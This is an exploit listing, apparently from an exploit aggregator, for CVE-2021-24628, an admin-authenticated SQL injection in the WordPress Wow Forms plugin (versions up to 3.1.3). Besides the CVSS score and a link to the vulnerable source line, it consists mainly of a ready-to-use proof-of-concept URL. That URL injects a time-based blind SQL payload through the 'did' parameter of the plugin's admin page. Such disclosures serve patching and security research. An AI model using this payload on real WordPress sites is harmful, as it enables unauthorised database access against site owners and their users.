Exploit for Wow Forms <= 3.1.3 - Admin+ SQL Injection CVE-2021-24628

Name: Exploit for Wow Forms <= 3.1.3 - Admin+ SQL Injection CVE-2021-24628
Rating: 5 (150 reviews)

2021-10-07 | CVSS 7.2

## https://sploitus.com/exploit?id=WPEX-ID:D742AB35-4E2D-42A8-BEBC-B953B2E10E3C
https://plugins.trac.wordpress.org/browser/mwp-forms/trunk/admin/partials/main.php#L13

As admin, https://example.com/wp-admin/admin.php?page=mwp-forms&info=del&did=1%20AND%20(SELECT%209063%20FROM%20(SELECT(SLEEP(5)))YGWC)